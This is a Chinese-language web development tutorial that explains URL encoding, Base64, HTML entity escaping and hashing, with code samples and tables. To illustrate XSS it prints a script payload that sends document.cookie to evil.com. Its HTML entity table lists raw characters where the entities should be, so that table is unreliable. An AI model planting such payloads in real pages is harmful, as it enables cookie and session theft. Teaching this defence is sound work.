在日常软件工程与 Web 开发中，数据转换无处不在：格式化 HTTP 请求参数、将图像打包为 JSON 字段、转义富文本以阻断代码注入，或是计算登录凭据的摘要。

然而，开发人员常将编码（Encoding）、**转义（Escaping）与哈希（Hashing）**混为一谈。这种概念混淆是引发跨站脚本（XSS）、SQL 注入以及凭证泄露等关键安全漏洞的根本根源之一。

核心认知

编码（完全可逆）： 改变数据的物理表示格式，以便在各网络层间透明无损传输（例如 Base64、URL 百分比编码）。

转义（上下文敏感）： 告知特定语法解析器将保留控制字符作为字面量数据处理，而非作为代码执行（例如 HTML 实体转义）。

哈希（单向不可逆）： 通过数学映射将任意长度输入压缩为固定长度的雪崩特征指纹，在计算上无法反解（例如 SHA-256）。

绝不要用编码来做安全防护： Base64 仅为数据编码，非加密手段；任何人无需密钥均可瞬间还原原始明文。

1. URL 百分比编码（Percent-Encoding）

依据 RFC 3986 规范，统一资源标识符（URI）被严格限制在 US-ASCII 的较小子集中。未保留字符集（A-Z, a-z, 0-9, -, _, ., ~）之外的所有字符，必须使用百分比转义八位字节（%XX）表示，其中 XX 代表字节的两位十六进制数值。

`encodeURI` 与 `encodeURIComponent` 的技术差异

在前端 JavaScript 运行时中，选错函数是常见 Bug 诱因：

维度对比	`encodeURI`	`encodeURIComponent`
设计目标	包含协议、主机与路径的完整 URL	独立的 Query 参数键或参数值
是否转义 `: / ? # & = +`	否（保留合法的 URL 路由边界符）	是（统一将其转义为 `%XX`）
典型调用	`encodeURI('https://site.com/search?q=a+b')`	`encodeURIComponent('search term & co')`

// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

在联调 API 参数时，可直接使用我们内置的 URL Encoder & Decoder。

2. Base64 编码：ASCII 传输流中的二进制呈现

Base64（RFC 4648）旨在利用 64 个可打印 ASCII 字符表示原始二进制数据：A–Z、a–z、0–9、+、/（末尾使用 = 补齐）。

底层数学原理

计算机存储以 8 位字节为单元。Base64 将 24 位（即 3 个字节）作为一组，重新拆分为 4 个独立的 6 位片段（$2^6 = 64$ 种取值）：

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

由于每输入 3 字节必定产出 4 个字符，Base64 会带来恒定约为 33% 的传输与存储体积开销：

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

Base64 极适于在 CSS Data URI 中内联小图标。可通过 Base64 Encoder / Decoder 实时分析字节流。

3. HTML 实体转义：构筑防范 XSS 攻击的防线

HTML 转义将具有语法控制作用的保留符号替换为对应的字符实体引用：

原始字符	HTML 语法中的特定语义	替换后的实体引用
`<`	标签起始定界符	`<`
`>`	标签闭合定界符	`>`
`&`	实体引用引导前缀	`&`
`"`	属性值引号边界	`"`
`'`	属性值引号边界	`'`

若未经转义将用户输入直接拼接至 DOM 结构中，将直接触发跨站脚本漏洞（XSS）：

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

使用我们的 HTML Entity Encoder / Decoder 检验页面模板的转义安全性。

4. 密码学哈希：确定性单向数字指纹

不同于编码，密码学哈希是严格不可逆的。合规的安全哈希算法满足以下四个数学准则：

抗原像性（单向性）： 给定哈希输出 $h$，计算上无法反向推导出输入 $m$ 使得 $H(m) = h$。
抗第二原像性： 给定输入 $m_1$，无法构造出另一个不同输入 $m_2$ 使得 $H(m_1) = H(m_2)$。
抗碰撞性： 无法在计算可行时间内找出任意两个不同的输入 $x \neq y$ 使得 $H(x) = H(y)$。
雪崩效应： 哪怕输入中仅有单个比特发生翻转，整个输出哈希串将完全被打乱重组。

工业级算法横向评测

算法家族	摘要输出长度	碰撞抗性现状	现代生产环境建议
MD5	128 bits (32 hex)	已被攻破（数秒内可产生碰撞）	仅限普通无安全要求的校验和
SHA-1	160 bits (40 hex)	已被攻破（2017年 SHAttered 攻击）	彻底淘汰，全面迁移至 SHA-256
SHA-256	256 bits (64 hex)	具备密码学安全性	TLS证书、Git版本控制与API主流规范
SHA-512	512 bits (128 hex)	具备密码学安全性	军工金融高保密环境与 HMAC

可使用 UUID Generator 与 Password Generator 快速生成高强度的随机标识符与令牌。

技术选型决策指南

在 HTTP URL 地址栏传递富文本参数时： 必须使用 URL 百分比编码。
需要在 JSON 或 HTML 文档中嵌入轻量二进制资源时： 采用 Base64。
在前端网页视图动态渲染不可信用户输入时： 执行 HTML 实体转义。
校验文件传输一致性或生成数据索引特征时： 选择安全密码学哈希。

常见技术问答

Base64 字符串能够被解密吗？ Base64 属于公开可逆编码而非加密算法，任何基础编程环境均可在无密钥的情况下将其完整还原为原始字节。

为什么不能直接用 SHA-256 存储用户密码？ 因为现代高性能 GPU 每秒可暴力枚举数十亿次普通 SHA-256 哈希。密码哈希必须采用带盐（Salt）且具有内存硬度惩罚的专用算法，如 Argon2id 或 bcrypt。

URL 编码中空格何时表示为 %20，何时表示为 +？ RFC 3986 路径部分要求必须严格编码为 %20；而在传统的表单提交媒体类型 application/x-www-form-urlencoded 中，空格历史上被约定为 +。